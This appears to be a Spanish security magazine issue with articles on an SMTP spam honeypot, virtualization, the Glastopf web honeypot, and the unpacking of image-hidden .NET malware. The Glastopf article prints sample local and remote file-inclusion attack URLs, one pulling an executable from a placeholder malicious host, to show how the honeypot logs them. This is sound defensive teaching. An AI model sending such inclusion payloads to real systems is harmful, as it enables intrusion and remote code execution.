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Emulación con honeypots

Detección, captura y análisis

Desde finales del siglo pasado en el entonces
recién fundadoHoneynetProject, el ideal de “emular”
un servicio real a través de herramientas honeypot

se ha quedado en eso hasta nuestros días, un sueño
que aún está por l legar.

¿Malas noticias? Para nada, pues hemos obtenido
ya avances relevantes. Podemos hablar, por
ejemplo, del uso de IDS e IPS como parte de una
estrategia de seguridad; de la diversificación de
honeypots y su apoyo al estudio de técnicas de
ataque; o de la base de conocimientos que
organizaciones sin fines de lucro, universidades,
gobiernos y sectores privados a nivel global se han
desarrollado a raíz de estos.

Para acercarte más a estos logros, estudiamos tres
honeypots, uno enfocado a detectar servicios de
spam, otro a distribución de malware por USB y la
segunda parte de Glastopf, honeypot para
aplicaciones web.

Pero no son sólo los honeypots el tema que se
aborda en esta edición, por su parte, abordamos el
tema de las alternativas dentro de la virtualización y
encontrarás también que los atacantes han hecho
lo suyo al disfrazar malware en archivos de imagen.

Finalmente, ofrecemos unaaproximación al derecho
informático y a los conceptos modernos de “delito”.
Esperamos que disfrutes de esta lectura y, sobre
todo, que el conocimiento que nuestros autores
ofrecen sea en beneficio de los sistemas y de las
personas que los uti l izan.

Jazmín López Sánchez
Editora
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Debido a que no hay un control en estos
mensajes, se puede enviar una gran cantidad de
correo electrónico no deseado y es claro que la
mayoría de estos mensajes de correo contienen
enlaces a sitios fraudulentos, robo de creden-
ciales, archivos maliciosos, entre otras cosas.

Ante este panorama, es necesario crear
herramientas para detectar aquellos equipos en
Internet que busquen y se aprovechen de
servidores de correo electrónico mal configu-
rados y que puedan ayudar a enviar spam amiles
de usuarios en Internet.

Para ello, es necesario desarrollar e implementar
una herramienta que capture, analice y ayude a
identificar el origen o destino de los correos
electrónicos no deseados al buscar patrones
como nombres de usuario, direcciones de correo
electrónico, direcciones IP, asuntos de correo,

Desde hace varios años se han descubierto
muchas amenazas enfocadas a enviar correo no
deseado uti l izando servidores de correo sin
configuración de seguridad previa, lo que
permitía enviar correo por medio de un
retransmisor abierto, o como se conoce en inglés
Open Relay, de ahí surge la necesidad de
capturar el correo electrónico no deseado
simulando un servidor con las características
mencionadas anteriormente para así detectar y
mitigar las amenazas hacia servidores de correo
electrónico.

Un Open Relay es un servidor de correo
electrónico SMTP (Simple Mail Transfer
Protocol) que permite el envío y recepción de
mensajes de correo electrónico a clientes ajenos
al servidor, es decir, los mensajes de correo no
serán enviados o recibidos por algún usuario
local en el servidor (Rouse, 2005).

Implementación de un spampot
para la captura de correo
electrónico no deseado
Miguel Raúl Bautista Soria
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Tabla 1. Tipos de honeypots

El spampot desarrollado es un honeypot de baja
interacción en donde se emula el servicio de
SMTP y se analiza toda la información recibida.

En la Figura 1 se muestra la ubicación lógica de
la herramienta dentro de una red de investiga-
ción de ataques, en la cual se reciben todas las
direcciones IP que no están asignadas a un
equipo dentro de una red corporativa o de
producción, es aquí cuando el servidor en donde
se ejecuta la herramienta contesta a cualquier
petición de conexión en el puerto 25 y toda la
información recolectada se considera poten-
cialmente maliciosa, porque está destinada a
direcciones IP que no deberían intercambiar
información debido a que no han sido asignadas
todavía.

Figura 1. Ubicación lógica (sugerida) en una red
corporativa o de investigación

2. Programación concurrente y sockets

Un socket (Guevara Soriano, 201 0) es la
combinación única de una dirección IP y un
número de puerto. La dirección IP del socket
puede ser una dirección pública o privada, pues

nombres de dominio, URL, software malicioso o
cualquier otro patrón que se especifique o
requiera.

En este artículo se hablará de la herramienta
spampot, un honeypot enfocado en las tareas
mencionadas anteriormente.

Requerimientos funcionales

La implementación de spampot requirió
desarrollar un honeypot, un recurso de seguri-
dad informática uti l izado para detectar y capturar
ataques. Su importancia reside en la forma de
ser analizado, atacado o comprometido
(Spitzner, 2002, p. 24).

Para obtener grandes resultados, el spampot
necesita colocarse en una red conectada
directamente a Internet, es decir, estar expuesto
para recibir cualquier conexión que cumpla con
los requisitos para enviar un correo electrónico
por medio del protocolo SMTP. También
requiere una base de datos para almacenar y
consultar la información maliciosa de los correos
electrónicos recibidos.

Para el desarrollo de esta herramienta se
requirieron de algunos otros conocimientos en
protocolos de red, programación, bases de datos
y conceptos aplicados de seguridad informática.
A continuación se describen los requisitos
técnicos necesarios para el funcionamiento de
esta herramienta.

1 . Honeypots

El término honeypot es una palabra compuesta
del inglés: honey (miel) y pot (tarro), su signifi-
cado es “tarro de miel”. El concepto hace
analogía a lo l lamativo que puede ser un tarro de
miel para pequeños insectos o animales
voladores (los “intrusos”) que se aprovechan de
esta miel sin ninguna restricción.

Los honeypots se clasifican en dos tipos: alta y
baja interacción. En la siguiente tabla se enfatiza
de forma clara y sencil la las clasificaciones de
los honeypots.

CARACTERÍSTICAS/
TIPO

BAJA INTERACCIÓN ALTA INTERACCIÓN

Instalación Fácil No tan fácil

Mantenimiento Fácil Requiere mucho
tiempo

Riesgo Bajo Alto

¿Requiere
control?

No Sí

Información
recolectada

Limitada Bastante

Tipo de
interacción

Servicios
emulados

Control total
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Dentro del RFC se explica que el objetivo
principal del SMTP es transmitir correo
electrónico de manera confiable y eficiente
basándose en un modelo de comunicación de
dos vías entre un usuario remitente y un usuario
destinatario, ambos de correo electrónico,
uti l izando comandos. Es importante destacar
que el usuario destinatario puede también ser
un intermediario que únicamente redirigirá el
correo al usuario final. Véase Figura 2.

Figura 2. Modelo para el uso de SMTP

En el desarrollo de esta herramienta se uti l izó el
mismo modelo y los siguientes comandos
básicos que uti l iza SMTP para enviar un correo
electrónico (Postel, 1 982):

• HELO (HELLO): Uti l izado por el emisor para
iniciar una sesión de envío y recepción de
correos. Es una especie de presentación entre
ambos usuarios.

• MAIL: Comando que indica el inicio de una
transacción que involucra el envío de
información a través de un correo electrónico.

• RCPT (RECEIPT): Es el comando que indica
el usuario que será el receptor del correo
electrónico.

• RSET (RESET): La uti l idad de este comando
es abortar la transacción actual de correo
electrónico y limpiar la memoria y comandos
recibidos.

• DATA: Comando que permitirá enviar la
información del emisor, tal como dirección de
correo electrónico, asunto del correo,
direcciones de correo a los cuales copiar y
cuerpo del mensaje.

• QUIT: Se uti l iza para finalizar la sesión y
cerrar la conexión con el receptor.

• VRFY (VERIFY): Comando uti l izado para
mostrar la información específica de un
usuario como su nombre completo y el
identificador de su bandeja de correo.

dependerá del servicio que se quiera brindar. El
número de puerto puede estar entre 0 y 65535,
siempre y cuando ese número de puerto no esté
ocupado en el equipo en donde se desee ejecutar
el socket, por algún otro proceso o restringido
dentro de los números de puertos reservados por
la IANA.

Para el caso de esta herramienta, se implementó
un socket que lanza el servicio de SMTP en el
puerto 25 de TCP en la dirección IP del equipo
en donde se ejecuta, uti l izando programación
concurrente en hilos para atender a todos los
clientes que requieran interactuar con este
servicio. Cada hilo contesta a un único cliente e
intercambia con aquel la información necesaria,
la cual es recolectada para un análisis posterior.

3. Modelo TCP/IP

El modelo TCP/IP es el protocolo de conexión
uti l izado en la mayoría de los servicios de red en
Internet. Sus siglas significan Transmission
Control Protocol/Internet Protocol (Protocolo de
Control de la Transmisión/Protocolo de Internet)
y es el encargado de transmitir la información
entre un cliente y un servidor en pequeños trozos
de información llamados paquetes (Socolofsky,
1 991 ).

En el desarrollo de esta herramienta se uti l iza el
modelo TCP/IP, pues el intercambio de infor-
mación para la recolección de correo electrónico
no deseado debe ser confiable y sin fallas, ya
que al estar simulando un servidor de correo
electrónico se debe proveer total credibi l idad a
la conexión y a la transmisión, así como respon-
der de forma correcta a las peticiones de reinicio
o cierre de conexión por medio de las banderas
TCP.

4. El RFC 821 de SMTP

El funcionamiento básico, secuencia de
comandos y forma de ejecución del protocolo
SMTP (Simple Mail Transfer Protocol) está
definido y claramente explicado en el RFC
(Request For Comments) 821 , desarrollado por
Jonathan B. Postel en agosto de 1 982. Un RFC
es un documento técnico en donde se plantea el
desarrollo y funcionamiento de un protocolo
estándar de Internet.
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IP y un puerto de red, simular los comandos de
SMTP y las respuestas a cada uno de ellos,
almacenar la información de cada conexión en
un archivo de texto plano cuyo nombre estará
dado de acuerdo a la dirección IP y una marca
de tiempo con el objetivo de registrar a qué hora
se realizó la conexión y hacia qué dirección IP
destino.

El archivo de texto plano que contiene la
información del correo electrónico no deseado
será analizado por la misma herramienta para
buscar patrones predefinidos de nombres de
usuarios, correos electrónicos, URL y nombres
de dominios o asuntos, para después hacer un
conteo de cada patrón y almacenarlo en una
base de datos por medio de un conector de
MySQL.

Conclusión

Hasta este punto, se han definido y detallado las
herramientas, conceptos y requerimientos para
desarrollar un spampot. En pocas palabras, se
requiere programar en lenguaje Perl un socket
de red como honeypot para que atienda peticio-
nes en el puerto 25 del protocolo TCP en una
computadora. El socket responderá a todas las
solicitudes que cumplan con el RFC 821 para
envío de correo electrónico a través de un Open
Relay. Toda la información recibida será
almacenada en una base de datos MySQL para
su posterior análisis y consulta.

En la segunda y última parte de este artículo se
mostrarán las formas de ejecución de la
herramienta y un análisis de los resultados de
ejecución obtenidos por ella en una red abierta
a Internet.
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• EXPN (EXPAND): Similar a VERIFY pero
dirigido a listas de correo, es decir, mostrará
a todos los usuarios miembros pertenecientes
a una lista de correo.

• HELP: Comando para mostrar al emisor la
ayuda y la sintaxis de uso de los comandos
que uti l iza el receptor.

5. Base de datos MySQL

MySQL es un sistema manejador de bases de
datos relacionales, es decir, almacena la
información de las bases de datos en tablas
separadas lógicamente. Este modelo permite la
creación de objetos que pueden ser bases de
datos, tablas, vistas, renglones y columnas, una
característica que le permite integrarse a un
modelo de programación bastante efectivo. La
estructura de las bases de datos está organiza-
da en archivos físicos optimizados para dar un
mejor rendimiento.

En el desarrollo de esta herramienta se requiere
almacenar una gran cantidad de información
para su posterior consulta. Toda esta informa-
ción, formada por direcciones IP, puertos de
comuni-cación, marcas de tiempo, nombres de
usuario, nombres de dominio, patrones de correo
maliciosos, enlaces a recursos en Internet y
firmas de integridad de archivos, es almacenada
en una base de datos dentro de MySQL.

6. Perl

Es un lenguaje de programación de alto nivel,
compilado e interpretado (a la vez). Fue creado
en 1 987 por Larry Wall, un programador y
lingüista de la Universidad de California en
Berkeley. Dentro de las características de Perl
destacan el fácil manejo de números, cadenas
de caracteres, archivos, carpetas y sockets. Sus
siglas significan: Practical Extraction and
Reporting Language o Lenguaje Práctico para
Extracción y Reportaje (Wall, 201 4).

El spampot es una herramienta para captura y
análisis de correo electrónico no deseado
desarrollada en Perl que implementa una serie
de módulos o subrutinas para realizar las
funciones esenciales de la herramienta, es decir,
crear un socket de red, asociarlo a una dirección

https://www.ietf.org/rfc/rfc821.txt
http://searchnetworking.techtarget.com/definition/open-relay
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Si quieres saber más consulta:

• Revista .Seguridad 25 Monitoreoydetección
• Revista .Seguridad 23 Herramientas de

detección
• ¿Cómo Funciona el Correo Electrónico?
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La virtual ización como alternativa
Mario Alejandro Vasquez Martínez, José Daniel Campuzano Barajas

Muchas veces al oír la palabra virtualización se
suele pensar en un tipo de tecnología avanzada
enfocada únicamente a expertos con conoci-
mientos de informática o personas que están
relacionadas con la computación y los sistemas.

No obstante, este recurso puede ser apro-
vechado e implementado por la mayoría de los
usuarios con el fin de incrementar el uso de
herramientas, apoyarse de nuevas tecnologías
y solventar con ellas diferentes necesidades que
puedan presentarse en el día a día de cada
persona.

¿Qué es la virtual ización?

La virtualización es una herramienta que fun-
ciona como cualquier otro programa (procesador
de texto, navegador de Internet, reproductor de

música, etcétera), con la diferencia de que se
ejecuta sobre un entorno que no es físico, es
decir, en el sistemaoperativo principal (Windows,
GNU/Linux, MacOS) de una computadora.
La virtualización permite instalar y hacer uso de
un sistema operativo nuevo, el cual puede
interactuar con los recursos que se le asignen,
ya sean virtuales o físicos. Actualmente existen
soluciones que simplifican este trabajo
(VMWare, Oracle, Hyper-V, entre otros) por lo
que su uso es sencil lo, seguro y amigable.

En la Imagen 1 se puede ver un ejemplo, en este
se tiene un sistema operativo Windows
ejecutando dentro de sí un sistema operativo
diferente.

Lo anterior permite contar con entornos virtuales
a los que se les asigna recursos físicos o virtua-
les de la computadora (CPU, memoria, disco
duro, red).
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Existen bastantes opciones para implementar
este tipo de virtualización, las más populares son
VMware Workstation y Virtual Box; la primera es
una solución de paga, mientras que la segunda
se encuentra bajo la l icenciaGNU General Public
License (GPL) versión 2. Para más información
consultar las referencias al final del artículo.

2. Unhosted
En este tipo de virtualización, a diferencia del
anterior, el software para virtualizar interactúa
de manera directa con los recursos disponibles
de la computadora. Lo hace a través de un
programa llamado Hipervisor o Virtual Machine
Monitor (VMM), que se encargará de propor-
cionar los recursos físicos cuando los entornos
virtuales lo requieran. Debido a la inexistencia
de inter- mediarios a esta virtualización se le
consideramás limpia y rápidaque lamencionada
en el punto anterior. Ver Imagen 3.

Imagen 3. Esquema de virtualización nativa

Existen bastantes soluciones de este tipo en el
mercado, una de ellas es Hyper-V, la cual se
puede implementar en equipos Windows Server
201 2, Windows 8.1 Pro o posteriores. Para
conocer más sobre este tipo de virtualización
consulta las referencias al final del artículo.

¿Por qué virtualizar?

La virtualización permite contar con más de un
sistema operativo en una computadora y cada
uno de ellos puede hacer uso de recursos que
el sistema operativo base (anfitrión) no ocupa.

Imagen 1. Ejemplo de un equipo GNU/Linux ejecutándose
dentro de Windows

Tipos de virtual ización

1 . Hosted
Aquí inicialmente se tiene un sistema operativo
(anfitrión) ya instalado en la computadora, dentro
de este se instala un programa (también cono-
cido como capa de virtualización) que se
encargará de asignar o crear los dispositivos
virtuales que necesite el entorno virtual a partir
de los recursos disponibles del sistemaoperativo
anfitrión, paraqueel entornovirtual puedarealizar
las mismas funciones que el sistema operativo
anfitrión.

El programa permite asignar recursos así como
virtualizarlos sobre una capa de software,
posteriormente se encargará de su
administración sin que el entorno virtual acceda
directamente a ellos. Ver Imagen 2.

Imagen 2. Esquema de virtualización de host
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Además de esto se cuenta con otro tipo de
beneficios, como son:

Crear entornos deprueba aislados. Se pueden
implementar múltiples entornos virtuales con
servicios separados, es decir, ejecutar diferentes
tareas o programas dedicados en cada uno de
ellos. Con lo anterior se puede garantizar que si
algún servicio se ve afectado no tenga reper-
cusiones en los demás entornos.

Probar sistemas operativos. Si se quiere
experimentar con sistemas operativos donde no
se tiene experiencia, sin verse en la necesidad
de reinstalar o cambiar la configuración del
equipo propio, se puede optar por la virtualiza-
ción y ejecutar diferentes sistemas operativos
como Windows, GNU/Linux, OpenBSD y Unix,
entre otros.

Instalar herramientas. Existen aplicaciones
que sólo se pueden ejecutar o funcionar
adecuadamente en ciertos sistemas operativos,
la virtualización permite uti l izar la aplicación bajo
el sistema para el cual fue diseñado sin hacer
uso de un equipo de cómputo diferente.

Aprovechamiento de recursos. Regularmente
un usuario no ocupa todos los recursos con los
que cuenta su equipo de cómputo, al virtualizar
se pueden aprovechar de manera óptima.

Reducción de costos de operación . Contar
con múltiples equipos genera costos de mante-
nimiento y operación, con la ayuda de la
virtualización es posible reducir la cantidad de
equipos y por ende los gastos derivados de su
operación.

Imagen 4. Múltiples entornos en un mismo equipo

¿Por qué no virtualizar?

Si bien el objetivo es contar con múltiples siste-
masoperativospara realizardistintas tareas, esto
podría tener inconvenientes al establecer un
punto único de fallo. Lo anterior quiere decir que,
aunque los entornos virtuales no son dependien-
tes entre sí, están directamente ligados a la
disponibi l idad y rendimiento del equipo de
cómputo, pues existe un límite de entornos que
se pueden ejecutar paralelamente y gestionar de
manera óptima.

Hay casos donde el sistema anfitrión se vuelve
inestable (se ralentiza, muestra errores, se
calienta, etcétera) por lo que hay que asegurarse
de que el equipo cuenta con los recursos
suficientes para hacer uso de la virtualización.

Si bien se menciona en los puntos anteriores
como ventaja la reducción de costos de opera-
ción, hay que tener en cuenta que invertir en
virtualización puede representar un gasto
significativo a corto plazo, porque se necesita
invertir en equipo de cómputo nuevo que soporte
la cantidad de entornos virtuales requeridos.

En la actualidad los sistemas virtualizados junto
con los sistemas físicos forman parte de una
mezcla de entornos computacionales que se
emplean en diferentes ámbitos, desde escuelas
hasta empresas, por lo que el personal de TI
debe enfrentar retos de seguridad.

Es necesario mencionar que en la actualidad un
entorno virtual se encuentra expuesto a los
mismos problemas de seguridad que los
entornos físicos y enfrenta retos de protección
de la información que son específicos.

La industria de seguridad de la información ha
cambiado con este tipo de tecnología. Por ejem-
plo en los firewalls comerciales podemos
observar un cambio de paradigma, donde la
adquisición de este tipo de soluciones no es a
través de un equipo físico y dedicado, sino de la
integración con la infraestructura virtual.

La virtualización en conjunto con proyectos de
código abierto (Open Source) permite
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implementar soluciones como firewall e IDS/IPS
(Sistemas de Detección de Intrusos y Sistemas
de Prevención de Intrusos), con una reducción
de gastos durante la adquisición de equipos en
comparación con soluciones comerciales. Lo
anterior representa una oportunidad de mejora
para PYMEs e instituciones educativas intere-
sadas en proteger sus activos de información,
donde el presupuesto puede ser l imitado.

En resumen, virtualizar ayuda a aprovechar
mejor los recursos de una computadora, ampliar
las herramientas disponibles y reducir tanto el
espacio físico como los costos de operación al
no tener varios equipos. Sin embargo, hay que
tener claro cuáles son las capacidades de
nuestros equipos de cómputo actuales, ya sea
los de nuestra organización o personales, para
saber si la virtualización es una opción viable a
nuestras necesidades y cuál es el esquema de
virtualización que más nos conviene.
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En el artículo anterior se presentó la implemen-
tación de un honeypot de baja interacción para
aplicaciones web capaz de emular múltiples
vulnerabil idades. En él se incluyeron los re-
quisitos necesarios para su instalación,
configuración y ejecución.

De acuerdo al Top 1 0 de OWASP las fallas de
validación, como inyección SQL (SQL Injection),
se encuentran en primer lugar en la quinta
edición del reporte de ataques a aplicaciones
web (WAAR por sus siglas en inglés) de
IMPERVA. Dentro de los hallazgos clave de este
estudio se puede observar que hubo un
incremento de 1 0% de ataques de inyección SQL
(SQLi) y un aumento de 24% en ataques de
inclusión remota de archivos (RFI). Dentro de los
blancos de los atacantes se encuentran
aplicaciones web, instituciones financieras,
sistemas de administra- ción de contenidos
(CMS) como Wordpress y aplicaciones PHP.

Esta segunda parte del artículo publicado en la
Revista .Seguridad presentará diversos ataques
que Glastopf puede detectar y analizar, así como
dónde se almacenan estos eventos. Además se
mostrará cómo uti l izar la información recolectada
por el honeypot para aprovecharla y mejorar la
seguridad tanto en las aplicaciones web como
en el perímetro de la red en general.

Tipos de ataques

Glastopf es capaz de emular diversos tipos de
vulnerabil idades dentro de las que se
encuentran:

• Inserción local de archivos (Local File
Inclusion): También conocido como LFI, es el
proceso de incluir archivos que están alojados
en el servidor a través de la explotación de

Glastopf: Honeypot de aplicaciones
web – I I
Sergio Anduin Tovar Balderas

http://revista.seguridad.unam.mx/numero25/glastopf-honeypot-de-aplicaciones-web-i
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf
http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed5.pdf
http://revista.seguridad.unam.mx/numero25/glastopf-honeypot-de-aplicaciones-web-i
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procedimientos de inclusión vulnerables implementados en la aplicación. Provoca la exposición de
información sensible, ejecución de código en el servidor, entre otros.

• Inserción remota de archivos (Remote File Inclusion): También conocido como RFI, es el
proceso de incluir archivos remotos a través de la explotación de procedimientos de inclusión
vulnerables implementados en la aplicación. Esto puede causar ejecución de código en el servidor,
divulgación de información, denegaciones de servicio, entre otros.

• Inyección SQL (SQL Injection): También conocido como SQLi, consiste en la inyección de una
consulta SQL a través de los datos de entrada de la aplicación del cl iente, por ejemplo: formularios,
variables GET, variables POST, etcétera. Una inyección SQL puede leer, modificar, actualizar y
eliminar datos o incluso la base de datos.

Proceso de identificación de un ataque

El siguiente diagrama muestra cómo Glastopf es capaz de identificar el tipo de ataque y generar
una respuesta para simular el ataque con éxito. Cuando se presenta un ataque, el servidor web del
honeypot identifica el método HTTP; en el caso del método GET, clasifica el ataque en RFI, LFI ,
índice (archivo principal de un sitio o página) o desconocido. Posteriormente, si el atacante intenta
un ataque de tipo Local File Inclusion para obtener información del sistema, Glastopf consultará y
mostrará el archivo passwd, shadow o group alentando nuevos ataques donde cada uno será
registrado. Si no puede identificar el ataque, lo clasifica como desconocido y lo registra.
La Figura 1 muestra todo el proceso y proporciona una visión detallada sobre cómo los componentes
trabajan juntos.

Figura 1. Diagrama de flujo de manejo de un ataque en Glastopf (Rist, L.; UNAM-CERT, trad.)

http://localhost/
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Capturando ataques

En esta sección se muestra cómo Glastopf simula, procesa, registra y captura los ataques de
inclusión local y remota de archivos. Se muestran ejemplos sobre cómo simula dos tipos de
vulnerabil idades:

• LFI (Local File Inclusion)

El atacante solicita la URL incluyendo un archivo del sistema:
http://1 0.0.0.1 28/index.php?fi le=. . /. . /. . /. . /etc/passwd
El archivo vulnerable index.php contiene la variable file permitiendo como entrada la ruta del archivo
passwd que se encuentra en el servidor con dirección IP 1 0.0.0.1 28.

Ataque
Se presenta el ataque de tipo LFI a través de un navegador web donde se muestra el archivo passwd
del servidor web que contiene la información de las cuentas de usuario del sistema.

Imagen 1. Respuesta de Glastopf ante un ataque LFI

Bitácoras
El evento se registra en la bitácora y en la base de datos. En la bitácora se puede observar la
solicitud (ataque tipo LFI) y en la base de datos se consulta el evento.
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Imagen 2. Bitácora de Glastopf

Se realizan dos consultas al mismo evento, en la primera se muestran el identificador, marca de
tiempo, dirección y puerto origen, URL de la solicitud, patrón de ataque y nombre de archivo. En
la segunda se puede apreciar la solicitud completa del ataque. El patrón del evento registrado nos
indica que el tipo de ataque es LFI.

Imagen 3. Registro de un ataque de tipo LFI

Imagen 4. Solicitud completa del ataque

• RFI (Remote File Inclusion)

El atacante solicita la URL incluyendo un archivo en la
http://IPoDominioMalicioso/archivo malicioso.exe:

http://1 0.0.0.1 28/index.php?fi le=http://IPoDominioMalicioso/k1 .exe

El archivo vulnerable index.php contiene la variable file que permite como entrada la URL maliciosa
que apunta al archivo k1.exe ubicado en el servidor remoto (IPoDominioMalicioso).

Ataque
A continuación se presenta el ataque de tipo RFI a través de un navegador web:
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Imagen 5. Respuesta de Glastopf ante un ataque RFI

Bitácoras
En la bitácora se puede observar la solicitud (ataque tipo RFI) y en la base de datos se consultará
el evento.

Imagen 6. Bitácora de Glastopf

Se realizan dos consultas al mismo evento, en la primera se muestra el identificador, marca de
tiempo, dirección y puerto origen, URL de solicitud, patrón de ataque y nombre de archivo. Por otro
lado, la segunda consulta muestra la solicitud completa del ataque. El patrón del evento registrado
nos indica que el tipo de ataque es RFI. Además, como se verá más adelante, se puede ver el
nombre del archivo que coincide con el MD5 del archivo capturado por el honeypot.

Imagen 7. Registro de un ataque de tipo RFI

Imagen 8. Solicitud completa del ataque
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Se observa en la solicitud cómo se inserta la URL maliciosa donde se encuentra el archivo, que
podría ser algún tipo de malware, script, web shell o algún otro.

Además de almacenar el evento en la bitácora y la base de datos, el honeypot descarga el archivo
k1.exe (en este caso de la URL maliciosa) y lo guarda en el directorio data/files/ dentro del directorio
de instalación de Glastopf (/opt/honeypot-glastopf/), además lo nombra con su firma MD5.

Imagen 9. Archivo capturado por Glastop

Para corroborar que el archivo que capturó Glastopf es el mismo de la URL maliciosa, se descarga
en el directorio y se obtiene la firma MD5 de los dos archivos.

Imagen 10. Comparación de archivos

Análisis de datos

Glastopf recolecta muchos datos de múltiples ataques manuales o automatizados, permitiendo
investigar a detalle y aprovechar tales datos, como las direcciones IP, las URL, malware, web shell,
herramientas, etcétera y poder generar reglas de firewall o firmas IDS que aumentan la seguridad
en nuestra organización.

Para poder visualizar los eventos registrados se pueden uti l izar la herramienta Glastopf Analytics.
A través de su interfaz web se pueden consultar datos como:

• Principales archivos
• Últimos archivos

https://www.honeynet.org/
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• Últimos eventos
• Principales visitantes
• Principales países
• Principales agentes de usuario
• Principales patrones de evento
• Principales peticiones de tipo de archivo

A continuación se muestran algunas imágenes de Glastopf Analytics:

Imagen 11. Bienvenida a Glastopf Analytics

Imagen 12. Principales archivos capturados por Glastopf

http://taosecurity.blogspot.nl/2007/03/
http://www.tenable.com/solutions/log-management-siem
http://www.mcafee.com/us/resources/white-papers/wp-demystifying-passive-network-discovery.pdf
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En la sección de los 1 0 principales archivos, cada archivo tiene un enlace al servicio web de
VirusTotal el cual permite determinar si el archivo sospechoso es algún tipo de malware.

Se puede buscar el malware en la siguiente URL:
https://www.virustotal.com/search/?query=c01 73343221 c5641 caf932bd0e4e23cc

Imagen 13. Análisis del archivo c0173343221c5641caf932bd0e4e23cc (sitio web virustotal)

El Proyecto Honeynet UNAM-Chapter desarrolló un sistema para procesar los datos de diversos
honeypots generando estadísticas y gráficas de captura de spam y malware, ataques web, SSH
y tráfico malicioso. Se pueden ver en la sección de estadísticas del sitio en
http://www.honeynet.unam.mx/

Este artículo (comprendido por dos partes) mostró la instalación, configuración, funcionamiento y
prueba del honeypot de aplicaciones web Glastopf. Dicho honeypot puede ayudar a mejorar la
seguridad de las aplicaciones web de la organización a través de la identificación de diversos
ataques y el correspondiente análisis de los eventos. Antes de desplegar un sistema web en
producción, es recomendable complementar la seguridad con un firewall de aplicaciones web
(WAF), así como la verificación (manual o automatizada) del código de las aplicaciones web
(validación de datos de entrada).

Si se desea conocer como instalar y configurar Glastopf Analytics se puede consultar en
https://blog.honeynet.org.mx/, donde se encuentra información acerca de honeypots, análisis de
tráfico y más.

https://www.virustotal.com/search/?query=c0173343221c5641caf932bd0e4e23cc
http://www.honeynet.unam.mx/
https://blog.honeynet.org.mx/
https://www.virustotal.com/
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nes, aunque a veces puede haber un par de
complicaciones.

Entre las herramientas existentes se uti l izará
dnSpy y un fork de otro proyecto conocido como
ILSpy. Ambas herramientas permiten analizar y
obtener el código fuente, incluso bajo determi-
nadas capas de ofuscación.

El archivo a analizar corresponde a una variante
de las famil ias de malware detectadas como
MSIL/Injector.KYG o MSIL/Injector.LES que
se propagó bajo el nombre ConsultoMulta
Online.exe a finales del mes de jul io de 201 5.
La detección corresponde puntualmente al
wrapper, que uti l iza técnicas no tan comunes
para esconder su payload pues lo oculta en la
siguiente imagen:

El análisis de malware involucra una gran can-
tidad de tecnologías.
Dentro de las diferentes variantes de códigos
maliciosos que se han visto últimamente, los
cibercriminales comenzaron a aumentar el uso
de amenazas desarrolladas en .NET. A conti-
nuación se presentará el análisis de algunas
famil ias de malware que afectan en la región
latinoamericana, además se compar- tirán
algunas herramientas que se pueden uti l izar
para su estudio.

Al hablar acerca de esta tecnología es impor-
tante destacar que se trata de código intermedio
ejecutado por el framework. Por lo tanto, al igual
que otras tecnologías (como Java), a través del
uso de diferentes herramientas es posible recu-
perar o recomponer gran parte de su código. De
esta manera se logran simplificar las tareas de
análisis estático para comprender sus accio-

Análisis de un curioso packer de
malware en .NET
Pablo Ramos

https://github.com/0xd4d/dnSpy
https://github.com/icsharpcode/ILSpy
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Imagen 1. Malware oculto

El proceso que ejecuta el wrapper es bastante lineal, ya que carga los recursos alojados dentro del
ejecutable, decodifica el payload que se encuentra en la imagen y que a su vez está cifrado con
AES (Advanced Encryption Standard) y luego invierte los bytes del arreglo (array) . Todas las
acciones se ejecutan en el cuerpo principal del programa (main) :

Imagen 2. Main()

Observando el código de la captura anterior, hay dos métodos que se deberán analizar más a
detalle para comprender realmente qué es lo que dicho código intentará hacer y cómo revertirlo.
En primer lugar, se debe analizar BitmapToByte() .

Esta función recibe la imagen presentada anteriormente y recorre cada uno de sus pixeles para
extraer los canales RGBA (Red, Green, Blue, Alpha) y concatenarlos en un array, hasta que la
longitud del mismo sea igual a un valor predefinido en una variable global. Este paso, que es
bastante extraño y particular, intenta evadir su detección.

Una vez descifrado el payload, se busca el EntryPoint del ejecutable y se invoca para su ejecu-
ción. En este punto es donde se logró comprender qué es lo que hace el wrapper y se pudo extraer
el payload para analizarlo por separado sin la necesidad de ejecutar este malware en un sistema.
Para teneréxito es necesario hacerlomanualmente, exportando los recursos con un scripten Python.

https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
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Imagen 3. BitmapToByte()

Ese pequeño programa realizará el proceso inverso, descomponiendo la imagen en sus valores de
RGBA y uti l izando después la clave AES para decodificar el payload con PIL, un módulo de Python
para el manejo de imágenes. Con un poco de ayuda (encontrada en StackOverflow sobre cómo
manejar archivos BMP con RGBA uti l izando esta librería) el código, un poco rudimentario, se ve así:

Imagen 4. ImageDecoder.py

https://pypi.python.org/pypi/PIL
http://stackoverflow.com/questions/10453604/load-rgba-bitmap-with-pil
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Ahora, sumando esto a algunas líneas que permitan decodificar algo cifrado con AES, se obtiene
el payload al ejecutar las siguientes líneas de código:

Imagen 5. ImageUnpacker.py

Así se logró obtener el segundo ejecutable, que se trata de una variante de otro malware, detec-
tado como MSIL/Injector.JEI. Sí, aunque sea difíci l de creer, todavía no se llega al payload origi-
nal sino que hay una segunda capa de protección.

Este segundo binario también se encuentra desarrollado en .NET, por lo que se puede abrir en
dnSpy para inspeccionar un poco sus acciones:

Imagen 6. Segundo payload

Una primera aproximación a la función Main() del segundo archivo permite identificar que realiza
acciones similares al primero. Primero extrae el archivo MAIN alojado en los recursos del programa
bajo el nombre STUB. Este último archivo también es detectado y corresponde con una variante
de Win32/TrojanDownloader.Banload, uti l izada para el robo de información bancaria.

http://virusradar.com/en/Win32_TrojanDownloader.Banload/detail
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En otras palabras, comprender cómo extraer los
payloads más allá de las protecciones que
uti l icen los cibercriminales es un paso necesario
para el estudio de cualquier famil ia de códigos
maliciosos y que, con el pasar del tiempo, toma
cada vez mayor relevancia.

Si quieres saber más consulta:

• Nueva técnicaescondemalwareparaAndroid
en imágenes
• Vulnerabil idad en Framework de .NET podría

permitir elevación de privi legios
• Códigos maliciosos

Pablo Ramos

Ingeniero en Sistemas de la Información

egresado de la Universidad Tecnológica

Nacional, Facultad Regional Buenos Aires,

Argentina. En 201 0 ingresó a ESET Latino-

américa como Especial ista de Awareness &

Research, ocupándose de realizar materiales

relacionados a las actividades de concientiza-

ción en seguridad informática de la empresa.

En jul io de 201 2 fue promovido al cargo de

Security Researcher, teniendo a su cargo la

planifica- ción y realización de investigaciones

en la temática.

A principios de 201 4 comenzó a desempe-

